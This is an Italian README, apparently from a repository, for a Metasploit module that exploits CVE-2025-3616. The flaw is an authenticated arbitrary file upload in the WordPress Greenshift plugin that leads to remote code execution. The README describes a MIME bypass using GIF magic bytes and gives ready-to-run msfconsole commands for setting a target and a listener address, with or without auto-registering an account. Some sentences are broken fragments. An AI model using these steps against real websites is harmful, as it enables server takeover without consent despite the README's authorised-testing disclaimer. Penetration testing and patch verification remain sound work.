
Questo repository contiene un modulo Metasploit per sfruttare CVE-2025-3616, una vulnerabilità di caricamento arbitrario di file nel plugin WordPress Greenshift (versioni dalla 11.4 alla 11.4.5).
L'exploit consente agli utenti autenticati (Subscriber+) di caricare file arbitrari, portando a esecuzione remota di codice (RCE). Bypassa la validazione del tipo di file del plugin falsificando il tipo MIME tramite i byte magici GIF (GIF89a;).
USERNAME/PASSWORD).REGISTER per registrare automaticamente un nuovo utente e sfruttare la vulnerabilità utilizzando i cookie di sessione appena creati (utile se la registrazione è abilitata sul target).wp_rest richiesto dalla dashboard amministrativa.finfo_file().Assicurati di avere installato il Metasploit Framework.
Copia wp_greenshift_file_upload.rb nella tua directory dei moduli locali:
mkdir -p ~/.msf4/modules/exploits/unix/webapp/
cp wp_greenshift_file_upload.rb ~/.msf4/modules/exploits/unix/webapp/
Avvia msfconsole e ricarica i moduli:
msfconsole
msf6 > reload_all
Se la registrazione utente è abilitata sul target, non hai bisogno di credenziali.
use exploit/unix/webapp/wp_greenshift_file_upload
set RHOSTS <TARGET_IP>
set LHOST <YOUR_IP>
set REGISTER true
run
Se hai già un utente valido (Subscriber o superiore):
use exploit/unix/webapp/wp_greenshift_file_upload
set RHOSTS <TARGET_IP>
set LHOST <YOUR_IP>
set REGISTER false
set USERNAME <USER>
set PASSWORD <PASS>
run
Questo modulo è destinato esclusivamente a scopi educativi e test di penetrazione autorizzati. L'utilizzo di questo codice per attaccare target senza previo consenso reciproco è illegale.
| Opzione | Richiesto | Descrizione |
|---|
| RHOSTS | sì | L'indirizzo del target |
| LHOST | sì | L'indirizzo di ascolto (il tuo IP) |
| REGISTER | no | Impostare su true per registrare automaticamente un nuovo account (predefinito: false) |
| USERNAME | no | Nome utente WordPress (richiesto se REGISTER è false) |
| PASSWORD | no | Password WordPress (richiesta se REGISTER è false) |
| no | Email per la registrazione (opzionale, generata automaticamente se vuota) |